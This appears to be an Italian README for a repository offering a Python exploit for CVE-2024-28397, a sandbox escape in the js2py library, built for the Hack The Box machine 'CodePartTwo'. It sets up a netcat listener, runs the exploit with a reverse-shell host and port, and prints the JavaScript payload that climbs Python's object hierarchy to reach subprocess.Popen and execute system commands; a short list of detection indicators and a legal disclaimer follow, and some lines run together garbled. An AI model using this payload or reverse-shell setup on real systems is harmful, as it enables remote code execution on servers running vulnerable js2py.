
Questo repository contiene un codice di exploit in Python per CVE-2024-28397 pensato per l'uso sulla macchina "CodePartTwo" su Hack The Box (HTB).
Un codice exploit in Python per CVE-2024-28397, una vulnerabilità critica in js2py <= 0.74 che consente l'escape dalla sandbox e l'esecuzione remota di codice.
js2py è una popolare libreria Python per valutare codice JavaScript all'interno di ambienti Python. Questa vulnerabilità consente agli attaccanti di evadere dall'ambiente sandbox di js2py ed eseguire comandi arbitrari di Python/sistema, anche quando js2py.disable_pyimport() è abilitato.
L'exploit sfrutta le capacità di introspezione degli oggetti di Python tramite JavaScript per accedere alla classe subprocess.Popen ed eseguire comandi di sistema.
pip install requests
# Avvia il listener netcat
nc -lnvp 4444
# Esegui l'exploit
python3 exploit.py --target http://target.com:8000/run_code --lhost 10.10.14.100 --lport 4444
--target URL dell'endpoint target (obbligatorio)
--lhost IP locale per la reverse shell (obbligatorio)
--lport Porta locale per la reverse shell (predefinita: 4444)
python3 exploit.py --target http://10.10.11.82:8000/run_code --lhost 10.10.14.100
__class__ e __base__subprocess.Popen tramite introspezioneL'exploit funziona:
Object.getOwnPropertyNames({}).__class__.__base__.__getattribute____subclasses__()subprocess.Popen// Access Python object hierarchy
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a, "__class__"), "__base__");
// Find subprocess.Popen class
function findpopen(o) {
// Recursive search through subclasses
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i];
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item;
}
}
}
// Execute command
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
Cerca codice JavaScript che contenga:
__class__ o ___class_____subclasses__()subprocess o Popenprintf e base64 -dQuesto strumento è destinato esclusivamente a test di penetrazione autorizzati e scopi educativi. Gli utenti sono responsabili del rispetto delle leggi e dei regolamenti applicabili. L'accesso non autorizzato a sistemi informatici è illegale.
Questo progetto è concesso in licenza con la MIT License - vedi il file LICENSE per i dettagli.